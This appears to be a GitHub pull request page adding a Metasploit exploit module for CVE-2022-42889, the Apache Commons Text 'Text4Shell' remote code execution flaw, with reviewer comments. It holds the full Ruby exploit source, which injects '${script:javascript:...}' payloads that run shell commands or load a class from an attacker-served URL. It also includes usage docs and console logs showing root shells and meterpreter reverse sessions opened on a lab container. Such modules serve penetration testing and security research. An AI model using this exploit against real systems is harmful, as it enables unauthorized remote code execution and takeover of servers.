-
Notifications
You must be signed in to change notification settings - Fork 14k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add exploit for CVE-2022-42889 Apache Commons Text RCE #18638
Changes from 1 commit
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,108 @@ | ||
## Vulnerable Application | ||
|
||
This exploit takes advantage of the StringSubstitutor interpolator class, | ||
which is included in the Commons Text library. A default interpolator | ||
allows for string lookups that can lead to Remote Code Execution. This | ||
is due to a logic flaw that makes the “script”, “dns” and “url” lookup | ||
keys interpolated by default, as opposed to what it should be, according | ||
to the documentation of the StringLookupFactory class. Those keys allow | ||
an attacker to execute arbitrary code via lookups primarily using the | ||
"script" key. | ||
|
||
In order to exploit the vulnerabilities, the following requirements must | ||
be met: | ||
|
||
Run a version of Apache Commons Text from version 1.5 to 1.9 | ||
Use the StringSubstitutor interpolator | ||
Target should run JDK < 15 | ||
|
||
## Testing | ||
Follow the steps in [this](https://github.com/karthikuj/cve-2022-42889-text4shell-docker?tab=readme-ov-file) PoC to setup the environment | ||
|
||
## Verification Steps | ||
1. Setup the application | ||
1. Start msfconsole | ||
1. Do: `use apache_commons_text4shell` | ||
1. Set the required options: `RHOST, RPORT, TARGETURI, PARAM, METHOD, TARGET, LHOST` | ||
1. Do: `run` | ||
|
||
## Options | ||
|
||
### PARAM | ||
The parameter vulnerable to the exploit. | ||
|
||
### METHOD | ||
The HTTP method to use. Default: `GET` | ||
|
||
### TARGETURI | ||
The URI to target. Default: `/` | ||
|
||
## Scenarios | ||
|
||
### Apache Commons Text 1.8 on Alpine Linux v3.9 | ||
|
||
Check: | ||
``` | ||
msf6 exploit(multi/http/apache_commons_text4shell) > check | ||
|
||
[*] Performing command injection test issuing a sleep command of 5 seconds. | ||
[+] 172.17.0.2:8080 - The target is vulnerable. Successfully tested command injection. | ||
``` | ||
|
||
Target: java | ||
``` | ||
msf6 > use exploit/multi/http/apache_commons_text4shell | ||
[*] Using configured payload java/meterpreter/reverse_tcp | ||
msf6 exploit(multi/http/apache_commons_text4shell) > set lhost docker0 | ||
lhost => 172.17.0.1 | ||
msf6 exploit(multi/http/apache_commons_text4shell) > set rhost 172.17.0.2 | ||
rhost => 172.17.0.2 | ||
msf6 exploit(multi/http/apache_commons_text4shell) > set rport 8080 | ||
rport => 8080 | ||
msf6 exploit(multi/http/apache_commons_text4shell) > set targeturi /text4shell/attack | ||
targeturi => /text4shell/attack | ||
msf6 exploit(multi/http/apache_commons_text4shell) > set param search | ||
param => search | ||
msf6 exploit(multi/http/apache_commons_text4shell) > set target 0 | ||
target => 0 | ||
msf6 exploit(multi/http/apache_commons_text4shell) > run | ||
|
||
[*] Started reverse TCP handler on 172.17.0.1:4444 | ||
[*] Using URL: http://172.17.0.1:8080/cuGgfHN/ | ||
[*] Sending stage (57692 bytes) to 172.17.0.2 | ||
[*] Meterpreter session 16 opened (172.17.0.1:4444 -> 172.17.0.2:39832) at 2023-12-23 23:03:31 +0530 | ||
[*] Server stopped. | ||
|
||
meterpreter > | ||
``` | ||
|
||
Target: Linux Command | ||
``` | ||
msf6 exploit(multi/http/apache_commons_text4shell) > set target 3 | ||
target => 3 | ||
msf6 exploit(multi/http/apache_commons_text4shell) > run | ||
|
||
[*] Started reverse TCP handler on 172.17.0.1:4444 | ||
[*] Command shell session 17 opened (172.17.0.1:4444 -> 172.17.0.2:36446) at 2023-12-23 23:04:10 +0530 | ||
|
||
id | ||
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) | ||
``` | ||
|
||
Target: Linux Dropper | ||
``` | ||
msf6 exploit(multi/http/apache_commons_text4shell) > set target 4 | ||
target => 4 | ||
msf6 exploit(multi/http/apache_commons_text4shell) > run | ||
|
||
[*] Started reverse TCP handler on 172.17.0.1:4444 | ||
[*] Using URL: http://172.17.0.1:8080/L8kRU1E8O/ | ||
[*] Client 172.17.0.2 requested /L8kRU1E8O/ | ||
[*] Sending payload to 172.17.0.2 | ||
[*] Sending stage (3045380 bytes) to 172.17.0.2 | ||
[*] Command Stager progress - 100.00% done (113/113 bytes) | ||
[*] Meterpreter session 18 opened (172.17.0.1:4444 -> 172.17.0.2:39580) at 2023-12-23 23:04:35 +0530 | ||
[*] Server stopped. | ||
|
||
meterpreter > | ||
``` |
Original file line number | Diff line number | Diff line change | ||||
---|---|---|---|---|---|---|
@@ -0,0 +1,200 @@ | ||||||
## | ||||||
# This module requires Metasploit: https://metasploit.com/download | ||||||
# Current source: https://github.com/rapid7/metasploit-framework | ||||||
## | ||||||
|
||||||
class MetasploitModule < Msf::Exploit::Remote | ||||||
Rank = ExcellentRanking | ||||||
|
||||||
include Msf::Exploit::Remote::HttpClient | ||||||
include Msf::Exploit::CmdStager | ||||||
include Msf::Exploit::Remote::Java::HTTP::ClassLoader | ||||||
|
||||||
def initialize(info = {}) | ||||||
super( | ||||||
update_info( | ||||||
info, | ||||||
'Name' => 'Apache Commons Text RCE', | ||||||
'Description' => %q{ | ||||||
This exploit takes advantage of the StringSubstitutor interpolator class, | ||||||
which is included in the Commons Text library. A default interpolator | ||||||
allows for string lookups that can lead to Remote Code Execution. This | ||||||
is due to a logic flaw that makes the “script”, “dns” and “url” lookup | ||||||
keys interpolated by default, as opposed to what it should be, according | ||||||
to the documentation of the StringLookupFactory class. Those keys allow | ||||||
an attacker to execute arbitrary code via lookups primarily using the | ||||||
"script" key. | ||||||
|
||||||
In order to exploit the vulnerabilities, the following requirements must | ||||||
be met: | ||||||
|
||||||
Run a version of Apache Commons Text from version 1.5 to 1.9 | ||||||
Use the StringSubstitutor interpolator | ||||||
Target should run JDK < 15 | ||||||
}, | ||||||
'License' => MSF_LICENSE, | ||||||
'Author' => [ | ||||||
'Alvaro Muñoz', # Original research | ||||||
'Karthik UJ', # PoC | ||||||
'Gaurav Jain', # Metasploit module | ||||||
], | ||||||
'References' => [ | ||||||
['CVE', '2022-42889'], | ||||||
['URL', 'https://sysdig.com/blog/cve-2022-42889-text4shell/'], | ||||||
['URL', 'https://github.com/karthikuj/cve-2022-42889-text4shell-docker'] | ||||||
], | ||||||
'Platform' => ['win', 'linux', 'unix', 'java'], | ||||||
'Targets' => [ | ||||||
[ | ||||||
'Java (in-memory)', | ||||||
{ | ||||||
'Type' => :java, | ||||||
'Platform' => 'java', | ||||||
'Arch' => ARCH_JAVA, | ||||||
'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' } | ||||||
}, | ||||||
], | ||||||
[ | ||||||
'Windows EXE Dropper', | ||||||
{ | ||||||
'Platform' => 'win', | ||||||
'Arch' => [ARCH_X86, ARCH_X64], | ||||||
'Type' => :windows_dropper, | ||||||
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' } | ||||||
} | ||||||
], | ||||||
[ | ||||||
'Windows Command', | ||||||
{ | ||||||
'Platform' => 'win', | ||||||
'Arch' => ARCH_CMD, | ||||||
'Type' => :windows_command, | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
For consistency |
||||||
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' } | ||||||
} | ||||||
], | ||||||
[ | ||||||
'Unix Command', | ||||||
{ | ||||||
'Platform' => 'unix', | ||||||
'Arch' => ARCH_CMD, | ||||||
'Type' => :unix_cmd, | ||||||
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_jjs' } | ||||||
ekalinichev-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||
} | ||||||
], | ||||||
[ | ||||||
'Linux Dropper', | ||||||
{ | ||||||
'Platform' => 'linux', | ||||||
'Arch' => [ARCH_X86, ARCH_X64], | ||||||
'Type' => :linux_dropper, | ||||||
'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' } | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Is there a reason you selected this payload? It will fail on 32-bit hosts that are supported by this target entry. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Yes you're right, payload should've been x86 |
||||||
} | ||||||
] | ||||||
], | ||||||
'Privileged' => false, | ||||||
'DisclosureDate' => '2022-10-13', | ||||||
'DefaultTarget' => 0, | ||||||
'Notes' => { | ||||||
'Stability' => [CRASH_SAFE], | ||||||
'Reliability' => [REPEATABLE_SESSION], | ||||||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] | ||||||
} | ||||||
) | ||||||
) | ||||||
register_options([ | ||||||
OptString.new('TARGETURI', [ true, 'The target URI']), | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Documents say the default value is There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Must've missed it, thanks for pointing it out. |
||||||
OptString.new('PARAM', [ true, 'The vulnerable parameter']), | ||||||
OptString.new('METHOD', [ true, 'The HTTP method to use', 'GET' ]) | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This should likely be an ENUM? |
||||||
]) | ||||||
end | ||||||
|
||||||
def check | ||||||
vprint_status("Checking if #{peer} can be exploited.") | ||||||
res = send_exp | ||||||
return CheckCode::Unknown('No response received from target.') unless res | ||||||
|
||||||
# blind command injection using sleep command | ||||||
sleep_time = rand(4..8) | ||||||
print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.") | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||
_res, elapsed_time = Rex::Stopwatch.elapsed_time do | ||||||
send_exp("java.lang.Thread.sleep(#{sleep_time * 1000})") | ||||||
end | ||||||
vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds.") | ||||||
return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time | ||||||
|
||||||
CheckCode::Vulnerable('Successfully tested command injection.') | ||||||
end | ||||||
|
||||||
def exploit | ||||||
case target['Type'] | ||||||
when :java | ||||||
# Start the HTTP server to serve the payload | ||||||
start_service | ||||||
# Trigger a loadClass request via java.net.URLClassLoader | ||||||
trigger_urlclassloader | ||||||
# Handle the payload | ||||||
handler | ||||||
when :windows_command, :unix_cmd | ||||||
execute_command(payload.encoded) | ||||||
when :windows_dropper, :linux_dropper | ||||||
execute_cmdstager | ||||||
end | ||||||
end | ||||||
|
||||||
def trigger_urlclassloader | ||||||
url = get_uri | ||||||
|
||||||
vars = Rex::RandomIdentifier::Generator.new | ||||||
|
||||||
exp = "var #{vars[:str_arr]} = Java.type('java.lang.String[]');" | ||||||
exp << "var #{vars[:obj]} = new java.net.URLClassLoader([new java.net.URL(new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(url)}')))]).loadClass('metasploit.Payload');" | ||||||
exp << "#{vars[:obj]}.getMethod('main', java.lang.Class.forName('[Ljava.lang.String;')).invoke(null, [new #{vars[:str_arr]}(1)]);" | ||||||
|
||||||
res = send_exp(exp) | ||||||
|
||||||
fail_with(Failure::Unreachable, 'No response received from the target') unless res | ||||||
fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200 | ||||||
end | ||||||
|
||||||
def execute_command(cmd, _opts = {}) | ||||||
vars = Rex::RandomIdentifier::Generator.new | ||||||
|
||||||
exp = "var #{vars[:arr]} = [#{win_target? ? '"cmd.exe", "/c"' : '"/bin/sh", "-c"'}, new java.lang.String(java.util.Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(cmd)}\"))];" | ||||||
exp << "java.lang.Runtime.getRuntime().exec(#{vars[:arr]});" | ||||||
|
||||||
res = send_exp(exp) | ||||||
|
||||||
fail_with(Failure::Unreachable, 'No response received from the target') unless res | ||||||
fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200 | ||||||
end | ||||||
|
||||||
def send_exp(exp = '') | ||||||
vars = datastore['METHOD'] == 'GET' ? 'vars_get' : 'vars_post' | ||||||
send_request_cgi( | ||||||
'method' => datastore['METHOD'], | ||||||
'uri' => normalize_uri(target_uri.path), | ||||||
|
||||||
vars => { | ||||||
datastore['PARAM'] => "${script:javascript:#{exp}}" | ||||||
} | ||||||
) | ||||||
end | ||||||
|
||||||
def win_target? | ||||||
target['Platform'] == 'win' | ||||||
end | ||||||
|
||||||
def on_request_uri(cli, request) | ||||||
case target['Type'] | ||||||
when :java | ||||||
# Call method to handle java payload staging | ||||||
super(cli, request) | ||||||
else | ||||||
# Handle win/unix cmd staging | ||||||
client = cli.peerhost | ||||||
print_status("Client #{client} requested #{request.uri}") | ||||||
print_status("Sending payload to #{client}") | ||||||
send_response(cli, exe) | ||||||
end | ||||||
end | ||||||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Could we please add the steps here in case the resource disappears, or link to the file directly:
https://github.com/karthikuj/cve-2022-42889-text4shell-docker/tree/288959eddad312218ec31c7bc06cf2622b26e91e